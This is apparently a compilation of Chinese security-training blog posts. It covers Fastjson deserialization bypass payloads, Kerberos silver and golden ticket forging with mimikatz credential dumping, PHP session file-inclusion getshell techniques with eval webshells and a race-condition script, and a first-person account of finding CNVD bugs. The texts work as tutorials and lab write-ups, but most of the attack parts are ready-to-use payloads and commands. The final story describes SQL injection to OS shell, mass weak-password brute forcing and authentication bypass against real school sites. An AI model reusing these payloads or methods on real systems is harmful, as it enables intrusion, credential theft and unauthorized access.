因为在调用set方法时都是经过FieldDeserializer#setValue,因此在此处下个断点。
跟到下面调用到了getOutputProperties方法是通过invoke,之后就执行命令了:
但method的来源还需要追究一下。
经过不断debug能够在ParserConfig的createJavaBeanDeserializer检测到sortedFieldDeserializers的变化,而sortedFieldDeserializers正是获取到getOutputProperties的关键:
在createJavaBeanDeserializer中调用了JavaBeanInfo#build,一路debug能够发现获取一个set方法时是通过如下代码:
同样位于build函数下有一段获取getter的代码:
其中OutputProperties的getter就是从这里获取到,不过这还是无法解除关于为什么要获取getter的疑惑,回到前面的FieldDeserializer#setValue,在使用invoke调用getOutputProperties后,得到的是一个Map类,而随后会对map调用putAll:
Map map = (Map)method.invoke(object);
if (map != null) {
map.putAll((Map)value);
}
也就说如果一个json串:
{"@type": "xxx.xxx", "hhhm": {"key": "value"}}
会需要将{"key": "value"}放入hhhm中,因此需要先调用get来获取到这一个map以便于后续的赋值。
跟入getOutputProperties->newTransformer->defineTransletClasses,实例化了bytecodes,然后在:
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
经过一系列调用最后就到了TEMPOC中执行到RCE:
BasicDataSource
省赛遇到的一道题才知道原来还有这条链,先mark下:
http://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/该链只能用于Fastjson 1.2.24及更低版本,使用范围相较于前两条链而言较小,链接处文章写的也很详细,不做过多叙述。
1.2.25-1.2.45部分绕过
直接拿着原来的链打会发现报错,发现多了一个ParserConfig.checkAutoType方法,在1.2.25中对DefaultJSONParser#parseObject中的TypeUtils.loadClass进行了修复:
//1.2.24
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
//1.2.25
Class<?> clazz = config.checkAutoType(typeName);
autoTypeSupport默认修改为false:
需要通过如下方式开启:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
并且有一个denylist,来过滤掉前面用到的链中的类:
部分手动开启autoType的绕过链就不分析了,绕过的点也比较容易看出,具体看https://xz.aliyun.com/t/9052
这部分绕过个人感觉适用于ctf中,不做分析了,下面贴一下payload。
1.2.25-1.2.41
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
1.2.25-1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
1.2.25-1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
1.2.25-1.2.45
需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本
payload:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}
1.2.25-1.2.47
这条链是通杀的,比较厉害的是其不需要开启AutoTypeSupport,相对于上面提到的绕过而言利用面广泛的多,因此着重分析一下。
该链在<1.2.32之前,如果开启了AutoTypeSupport则无法利用,在>1.2.32后五轮是否开启都可以利用。
payload:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
前面提到在checkAutoType中有这么一个if:
if (this.autoTypeSupport || expectClass != null)
因为autoTypeSupport默认为false,所以if内的代码都跳过了,而这条链的利用也无需这一个if,跟到后面:
这里的deserializers.findClass比较关键:
此处的this.buckets会发现其内置了很多的类,如:
那么问题也就是出在这里,我们目前传入的类是java.lang.class,而该类正处于这一个buckets中,而deserializers中有一个put方法,正是这一个方法将类放入白名单中从而避过了autotype的限制。
偏一下话题,稍微往前追溯一点能够找到如下一个初始化deserializers对象的方法:
白名单中的类都在此处。
比较好奇的是此处的class类的作用,在对class类进行反序列化时,其调用链如下:
deserializer#deserialze
->
TypeUtils#loadClass(strVal,parser.getConfig().getDefaultClassLoader())
//strVal=com.sun.rowset.JdbcRowSetImpl
->
TypeUtils#loadClass(className, classLoader, true)
//className=com.sun.rowset.JdbcRowSetImpl
此处的TypeUtils#loadClass在前面分析1.2.22-1.2.24链中提到过,其会尝试从mappings中取出类:
Class<?> clazz = (Class)mappings.get(className);
在取不到时会调用类加载器去加载类,此时就取到了com.sun.rowset.JdbcRowSetImpl。
之后最致命的操作就是:
mappings.put(className, clazz);
将com.sun.rowset.JdbcRowSetImpl这一个类放入了mappings中,而在加载b字典中的JdbcRowSetImpl类时,调用到的是:
他会直接从mappings中取类,而前面已经将JdbcRowSetImpl放入mappings中,此时达成了绕过autotype关闭的限制。
开发目的应该是为了程序运行效率,省去每次都需要去重新加载类的麻烦,但却因为class在反序列化时会调用loader将其他类装载进来导致了绕过名单的后果。
而在1.2.48 修复了这一漏洞,将反序列化class对象时的cache设置为false:
if (cache) {
mappings.put(className, clazz);
}
此时就不会将class类装载进缓存中了。
Kerberos协议及其利用
前言
之前就一直想着抽空学学内网渗透相关的东西,无奈被各种事情耽搁。。。刚好这两天闲下来,就把之前留的坑填一下。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014040817061200001 (本实验主要介绍了windows server2003系统的域和DNS服务器的搭建,通过本实验的学习学会kerberos网络认证协议搭建方式。)
Kerberos协议原理
啥是Kerberos?
一种双向的网络身份认证协议,通过使用加密技术为客户端/服务端应用程序提供强大的认证服务
基本概念
Principal 安全个体,具有唯一命名的客户端或服务器。命名规则:主名称+实例+领域,如:herlocky/mailto:admin@EXAMPLE.COM
TGT 票据授予票据(Ticket Granting Ticket),包含客户端ID、客户端网络地址、票据有效期以及client/TGS会话密钥
Ticket 票据,一条包含客户端标识信息、会话密钥和时间戳的记录,客户端用它来向目标服务器认证自己
Session key 会话密钥,指两个安全个体之间使用的临时加密秘钥,其时效性取决于单点登录的会话时间长短
KDC Key分发中心(key distribution center),是一个提供票据(tickets)和临时会话密钥(session keys)的网络服务。KDC服务作为客户端和服务器端信赖的第三方,为其提供初始票据(initial ticket)服务和票据授予票据(ticket-granting ticket)服务,前半部分有时被称为AS,后半部分有时则被称为TGS
AS 认证服务器(Authentication Server),KDC的一部分。通常会维护一个包含安全个体及其秘钥的数据库,用于身份认证
TGS 许可证服务器(Ticket Granting Server),KDC的一部分,根据客户端传来的TGT发放访问对应服务的票据
SS 特定服务的提供端(Service Server)
如何运作?
放一张图片可能比较好理解一些:
1.(在开启Kerboers协议的基础上)当客户端想访问服务器上的资源时,需要先向KDC发送认证请求,在发送认证请求的时候会根据自己的密码生成密钥,用密钥将发送的时间戳进行加密。(加密作用在于防止别人获取到信息后进行重放攻击)
2.1 KDC在接受到请求后,会先查看AS中是否有该账户的信息,使用相对应解密算法将时间戳解密,完成了A的身份认证。这里解释一下为啥会用到时间戳:因为在传输过程中,可能会被黑客进行截获,黑客在截获后如果想骗取认证的话需要进行数据包的再次发送,也就是重放攻击。重放攻击需要耗费一定时间,如果用时间戳作为衡量标准的话,当KDC解出时间戳和当前时间差别过大时,就不会再继续认证。
2.2 上文说到Kerboers是双向的认证,2.1是客户端向KDC证实身份,现在需要KDC向客户端证明身份。首先,KDC会生成一把专门用于KDC与A之间通信的密钥,并且用密钥加密自身,得到的这个玩意儿就是TGT。之后将时间戳、KDC生成的密钥、随机字符串使用客户端生成的密钥进行加密。
2.3.客户端在收到消息后,会使用自己最初生成的密钥来解密密文,得到KDC的密钥,并且证实其身份。
3.1 接下来客户端需要向KDC去认证服务器的身份,于是会将之前的TGT和KDC的密钥加密的信息与时间戳以及新的消息发送给KDC,KDC收到消息后会将TGT解密拿到密钥和加密的信息,达到验证客户端的目的。
4 KDC生成新的密钥 ,新密钥供客户端与服务器通信时使用,并且该密钥和客户端的信息会被服务器的密钥进行加密形成票据,原KDC生成的密钥对新密钥进行加密后,将票据和生成的新密文发送给客户端
5.1 客户端拿着KDC生成的新密钥加密信息和时间戳,再外加一个票据(TGS)去请求服务器
5.2 服务器用自己的私钥解开票据,拿到客户端和服务器之间的密钥以及信息,接着用该密钥解密客户端发来的密文,如果验证为真,就会将时间戳用客户端和服务器之间的密钥进行加密发给客户端。
6 客户端接收到服务器发送的信息后,解密查看时间戳完成对B的身份校验,完成认证过程。
---------------------------------------------------------------------------------------------------分隔符---------------------------------------------------------------------------------------------------------
用大白话来说可能会容易理解Kerboers协议,比如在学校的机房里(假设为域控环境),如果用户想在任意一台主机上进行操作,只需要有一个账户名密码即可。该账户名密码存于域控制器中,有别于我们平时使用的工作组,用户名密码不通过本机验证,身份验证是采用Kerberos协议在域控制器上进行的,登陆到此计算机(如telnet)则是通过SAM来进行NTLM验证。
记录一次不心酸的AD域控搭建
环境
VMware虚拟机:Windows 2012 R2,Windows 7
过程
搭建起来没想象中的复杂,主要是把服务器上的AD域和DNS服务器安装好,处理好服务器和主机之间互通的问题
直接按照这个博客搭建即可https://www.cnblogs.com/leixiao-/p/10579208.html,过程不再赘述。搭建域控环境目的还是为了复现Kerberos协议中的两种利用方式。
白银票据
原理
先拽一波英文,Silver Ticket(白银票据)主要是利用TGS,即六步认证过程中的第五步,客户端拿着票据向服务器中的某个服务发起请求,这时候的票据格式是这样的:
Ticket=Server Hash(Server Session Key+Client info+End Time)
利用服务器端生成的密钥对Server Session Key、客户端的消息以及时间戳进行加密。因为服务器没有收到Server Session Key,并不知道我们要访问的究竟是何种服务,所以当我们知道Server Hash的时候,就可以去访问服务器中指定的服务。简单地说,就是生成了一个可以随时访问服务的后门。
利用条件
1.已知服务器的NTLM hash
2.仅对部分开放服务有效,如cifs(文件共享服务),mssql,winrm(windows远程管理),dns等等
实践过程
用的是红日安全的环境
192.168.52.138 域控服务器
192.168.52.143 客户端
mimikatz 工具
之前自己搭建的AD域环境有点问题,没复现成功,心塞。。。然后用红日的环境复现好了。拿到的客户端是管理员权限,域控的主机是普通用户权限。没详细研究怎么去打组合拳,先看看能不能利用一下白银票据。尝试用命令查询客户端共享目录的访问权限,发现无法访问:
dir \\stu1.god.org\c$
因为要伪造访问客户端的访问权限,所以我们可以在客户端中去拿到这个NTLM Hash:
mimikatz log "privilege::debug" "sekurlsa::logonpasswords">log.txt
在log.txt中查看到 NTLM Hash:
然后我们还需要域的SID值,域的SID就是域成员的SID值去掉最后的 -数字 的部分,该域的SID值就是S-1-5-21-2952760202-1353902439-2381784089 可以在log.txt中查看,也可以用命令:
whoami /user
最后一步,就是在域控主机中伪造票据,为了方便就直接进行伪造,写入域控主机内存。mimikatz 其实还可以把票据dump到本地,方便以后再使用。为了防止其他票据干扰,可以使用 kerberos::purge 把主机中其他票据删除。伪造命令:
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /target:stu1.god.org /rc4:55c330808522af0724598d8f48af2809 /service:cifs /user:stu1 /ptt
然后再次访问,成功:
最后,mimikatz之前没咋用过,简单看了一下是可以将内存中的密码都读出来,很强大。。有些密码没经过Hash处理,直接明文显示了。
黄金票据
原理
和白银票据不同,黄金票据利用点在于伪造TGT。伪造TGT的关键就在于获取KDC的哈希值,也就是KRBTGT账户的哈希值,伪造出TGT的话,后面就可以有效的获得目标主机任何的Kerberos服务。
利用条件
1.需要与KDC通信
2.需要krbtgt的hash
实践过程
依旧是红日安全的环境
Win2008R2(DC) IP:192.168.52.138
Win2003 IP:192.168.52.141
Win7 IP:192.168.52.143(内)
mimikatz 工具
大大大前提:我们已经可以访问域控主机,接下来我们在域控上使用mimikatz进行票据提取。先导出KRBTGT账户的hash:
lsadump::dcsync /domain owa /user:krbtgt
把信息提取出来:
安全账户管理器用户名:krbtgt krbtgt SID为:S-1-5-21-2952760202-1353902439-2381784089-502 krbtgt 的hash:58e91a5ac358d86513ab224312314061
查看一下域控主机当前用户:
接着回到win7主机上,我们要在win7主机中使用mimikatz,通过黄金票据获得域控主机权限。先启动mimikatz,借助kerberos::purge命令清除win7主机上的票据
接着利用前面获取到的信息伪造黄金票据:
kerberos::golden /domain:owa.god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-502 /rc4:58e91a5ac358d86513ab224312314061 /user:krbtgt /ptt
再尝试一下能否访问远程文件共享
啊这,出现这个错误的时候在网上查了很多资料,也关闭了防火墙和windows defender还是出现上述问题。后面调用systeminfo命令看了一下,原来打补丁了啊,那没事了,如果没有补丁的话就可以继续对目标机器进行渗透,甚至可以用PSEXEC.exe进行反弹shell。关于红日安全靶场,在网上进行下载即可。
浅谈利用session绕过getshell
在前些时间,国赛上再一次遇到了服务器本地文件包含session的漏洞,这是个老生常谈的东西了,但还是常常可以碰到,而我们想利用session来getshell往往还需要一些特殊的方法,借此机会,研究一番。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID21bb-8308-4117-ab95-a4602fa6c377 (本实验介绍了文件包含时绕过限制的原理,以及介绍利用文件包含漏洞读取源码的原理。)
基础知识
PHP SESSION的存储
SESSION会话存储方式
在Java中,用户的session是存储在内存中的,而在PHP中,则是将session以文件的形式存储在服务器某个文件中,我们可以在php.ini里面设置session的存储位置session.save_path
在很多时候服务器都是按照默认设置来运行的,假如我们发现了一个没有安全措施的session文件包含漏洞时,我们就可以尝试利用默认的会话存放路径去包含getshell,因此总结常见的php-session的默认存储位置是很有必要的
默认路径
/var/lib/php/sess_PHPSESSID /var/lib/php/sessions/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID
session文件的存储路径是分为两种情况的
一是没有权限,默认存储在/var/lib/php/sessions/目录下,文件名为sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到(一般在利用漏洞时我们自己设置phpsessid)
二是phpmyadmin,这时的session文件存储在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp
与 SESSION 有关的几个 PHP 选项
session.serialize_handler
一是php,服务器在配置文件或代码里面没有对session进行配置的话,PHP默认的会话处理方式就是session.serialize_handler=php这种模式机制,这种模式只对用户名的内容进行了序列化存储,没有对变量名进行序列化,我们可以看作是服务器对用户会话信息的半序列化存储
二是session.serialize_handler=php_serialize,这种处理模式在PHP 5.5后开始启用,与上一种类似,但无论是用户名的内容还是变量名等都进行了系列化,可以看作是服务器对用户会话信息的全序列化存储
三是php_binary,其存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
常见就是以上三种,还有一些其他的比如session.serialize_handler = wddx等这里就不展开赘述了
对比上面session.serialize_handler的两种处理模式,可以看到他们在session处理上的差异,但我们编写代码不规范时对session的处理采用了多种情况,那么在攻击者可以利用的情况下,很可能会造成session反序列化漏洞。
session.auto_start
默认是off状态,如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。
session.use_strict_mode
默认是0,此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.
因为sessid的可控,我们很容易借此达到我们getshell的目的,但是我们还存在session.upload_progress.cleanup
session.upload_progress.cleanup
默认开启,一旦读取了所有POST数据,它就会清除进度信息,所以我们一般都要通过条件竞争来进行文件上传
session.upload_progress.enabled
默认情况下是开启的,但也当该配置开启时,我们今天要讲的重点才得以引出
Session Upload Progress
Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled 选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 $_SESSION 中获得。 当PHP检测到这种POST请求时,它会在 $_SESSION 中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
下面给出一个php官方文档的一个进度数组的结构的样例:
<form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /> </form>
此时在session中存放的数据看上去是这样子的:
<?php $_SESSION["upload_progress_123"] = array( // 其中存在上面表单里的value值"123" "start_time" => 1234567890, // The request time 请求时间 "content_length" => 57343257, // POST content length post数据长度 "bytes_processed" => 453489, // Amount of bytes received and processed 已接收的字节数量 "done" => false, // true when th
LFI漏洞
LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如Session会话文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。
我们这里重点讲的是针对LFI Session文件包含,我们可以简单理解成以为配置的原因,用户可以控制session文件中的部分信息,然后将这部分信息更改为恶意代码,然后去包含这个session文件达到攻击效果,在下面,我会演示一下大概流程
演示代码
session.php
<?php session_start(); $username = $_POST['username']; $_SESSION["username"] = $username; ?>
index.php
<?php $file = $_GET['file']; include($file); ?>
payload
分析session.php可以看到用户会话信息username的值用户是可控的,因为服务器没有对该部分作出限制。那么我们就可以传入恶意代码就行攻击利用
我们传入
username=Abc
我们看到,系统给我们初始了一个sess_ID
可以看出我们可以对username进行控制,那么假如我们传入的是一句话木马呢
username=<?php eval($_REQUEST['Abc']);?>
一句话马传入了,我们试试是不是真的可以像我们想的那样执行
从攻击结果可以看到我们的payload和恶意代码确实都已经正常解析和执行。
当然这是一种理想化的简单的漏洞利用情况,但是在平常中会有很多限制,常见的就是两种:1.对用户的会话信息进行了一定的处理,例如对用户session信息进行编码或加密 2.没有代码session_start()进行会话的初始化操作,这时服务器无法生成用户session文件,同时,用户也无法进行恶意session文件包含
下面,我们来讲一讲怎么绕过这些限制
Session Base64Encode
很多时候服务器上的session信息会由base64编码之后再进行存储,那么假如存在本地文件包含漏洞的时候该怎么去利用绕过呢?下面通过一个案例进行讲解与利用。
demo
session.php
<?php session_start(); $username = $_POST['username']; $_SESSION['username'] = base64_encode($username); echo "username -> $username"; ?>
index.php
<?php $file = $_GET['file']; include($file); ?>
exp
按照我们的一般套路注入
我们可以发现我们包含的session被编码了,导致LFI -> session失败。
在这里可以用逆向思维想一下,他既然对我们传入的session进行了base64编码,那么我们是不是只要对其进行base64解码然后再包含不就可以了,这个时候php://filter就可以利用上了。(其他编码同理)
index.php?file=php://filter/read=convert.base64-decode/resource=/phpStudy/PHPTutorial/tmp/tmp/sess_gnl84oftbpj0l47o5m2hlooi92
吼,无法解码!
这是为什么,来来来我们再仔细看看session文件内容
username|s:44:"PD9waHAgZXZhbCgkX1JFUVVFU1RbJ0FiYyddKTs/Pg==";
看到了吗,这里并不是只有base64密文,还有username|s:44:"这一段非base64的字符串,编码与解码不对应,当然无法解码
那么我们有什么方法解决吗
首先我们先来了解一下base64编码的特点
Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。
Base64将输入字符串按字节切分,取得每个字节对应的二进制值(若不足8比特则高位补0),然后将这些二进制数值串联起来,再按照6比特一组进行切分(因为2^6=64),最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制,然后在上述表格中找到对应的符号并串联起来就是Base64编码结果。
由于二进制数据是按照8比特一组进行传输,因此Base64按照6比特一组切分的二进制数据必须是24比特的倍数(6和8的最小公倍数)。24比特就是3个字节,若原字节序列数据长度不是3的倍数时且剩下1个输入数据,则在编码结果后加2个=;若剩下2个输入数据,则在编码结果后加1个=。
一个字符串中,不管出现多少个特殊字符或者位置上的差异,都不会影响最终的结果,可以验证base64_decode是遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
总而言之,要想正常解码,需要session前面的这部分数据长度需要满足4的整数倍,据此我们再次构造payload
username=abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd<?php eval($_POST['Abc']);?>
符合,我们重新传参看看
执行成功
注:这是在session.serialize_handler=php配置下执行成功的,在其他配置下也是同样的原理
No session_start()
一般情况下,session_start()作为会话的开始出现在用户登录等地方以维持会话,但是如果一个网站存在LFI漏洞但却没有用户会话,那么我们该怎么去包含session信息呢
还记得我们上面说过的Session Upload Progress吗?
Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。——https://xz.aliyun.com/u/31688
session中一部分数据(session.upload_progress.name)是用户自己可以控制的,那么我们在Cookie中设置PHPSESSID=Abc(默认情况下由于session.use_strict_mode=0用户可以自定义Session ID),同时POST恶意字段PHP_SESSION_UPLOAD_PROGRESS,只要上传包里带上这个键,PHP就会自动启用Session,又由于我们之前设置了Session ID,所以session文件会自动创建且可控
但又由于session.upload_progress.cleanup = on这个配置的存在,当文件上传结束后,php将会立即清空对应session文件中的内容,这会导致我们最终包含的只是一个空文件,所以我们要利用条件竞争,在session文件被清除之前利用
import io import requests import threading sessid = 'SsBNMsssSssssL' data = {"cmd":"system('cat flag.php');"} def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post('http://192.168.43.82', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php var_dump(scandir("/etc"));?>'}, files
国赛的脚本,改下payload即可
记录一次cnvd挖掘过程
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
曾经的我,以为挖掘cnvd是一个非常遥不可及的事情,注册资产5000万黑盒10案例(目前还不会代码审计吖,后续会努力学习吖!)这个门槛就已经难住我了(脚本小子的自述)。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915533100001 (本实验主要介绍了利用sqlmap辅助手工注入,通过本实验的学习,你能够了解sqlmap,掌握sqlmap的常用命令,学会使用sqlmap辅助手工完成注入。)
事情的转机在于某次挖掘edu的过程中,且漏洞都非常小白,无任何技术含量,师傅们看个热闹就好了,在校学生只想赚点生活费。呜呜呜呜~
主页界面常规漏洞测试一波,如弱口令,以及登陆框注入,均无果,发现还存在一处密码找回功能。
找回密码界面。
每个参数挨个测试一下最简单的注入加一个单引号’ 当然也仅仅限于为我这种偷懒型选手了,对于int型注入点如果做了报错处理可能无法探测,各位师傅们挖洞的时候不要学我一样偷懒哦。
运气果然很重要啊,阿巴阿巴,直接出货,且目标不存在waf直接上sqlmap跑了
Dba权限sqlserver数据库,直接起飞,难得找绝对路径写shell了直接os-shell 成功获取权限,而且可回显。
通过企查查查询了一下开发单位,发现资产过5000万,接下来只要案例满足10例就可了,fofa查询相关关键字,收集一波站点。
还算不错,阿巴阿巴,整理整理继续肝,一个良好的开端从有洞开始,
于是想着写一波脚本,批量跑一下admin账户的弱口令,这么多站点,我不相信没有一个弱口令,大概看了几个站点,发现一模一样的站,于是直接在某个站点本地F12 看他登陆请求包,然后写脚本,批量跑一下
又尝试了另一种方式,感谢fengxsone老表给我说的这个selenium自动化测试模块,阿巴阿巴,顺便拿来练练手,这里简单介绍一下呀,百度无所不能。
通过pip install selenium 或者在pycharm中搜索安装模块即可
这个模块呢,非常非常简单哈,安装完成之后,需要下载对应浏览器对应版本的驱动,之后就可以愉快的玩耍了,有兴趣的师傅,记得看开发手册吖,我觉得我讲的太low还是打扰了
Run一下之后就是一个慢慢等待的过程咯
大约跑了20几个站点之后,成功使用admin—123456进入后台。我的脚本也gg了,没有写跳转的操作,我菜,阿巴阿巴
进入后台后,一通操作,找到一处上传点,but上传到的路径居然传到一台文件服务器上面去了,虽然能拿到一个文件服务器的shell,但是估计其他站的文件也是传在这个服务器上面,溜了溜了。
继续fuzz,注销登陆,之后重新登录同时使用burp抓包,单独拉出来放包,请叫我打码小王子。
发现并未存在session或者token参数。于是直接到其他站点,随意输入账户密码,替换返回包。直接越权到admin账户。
接着fuzz,该测的测了,但在密码重置处倒是有点东东,身份证只要输入存在的账户,手机号输入自己的即可将验证码发送到自己的手机
所以说这里我们只需要获取到可登陆的身份证即可用自己的手机号接受到验证码,于是登陆,后台,在用户管理界面抓包。之后就是慢慢删除cookie的过程了,这里推荐一下burp的这个功能,贼好用
在这个功能模块中,可以快速的fuzz cookie简直不要太舒服,最后发现只需要一个schoolcon参数,即可未授权访问,而且schoocan参数在加载页面时就已经有了
整理开交,阿巴阿巴。
假装一段时间后~~~~~~证书下来了,嚯嚯,起飞。
阿巴阿巴,太没有技术含量了,各位师傅们见谅,才入门还要学习的东西太多了,有想要一起学习互相监督滴嘛?我的qq807483402 另外 欢迎大家关注微信公众号F12sec啦我们是一群有梦想的网络安全爱好者哟,阿巴阿巴。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

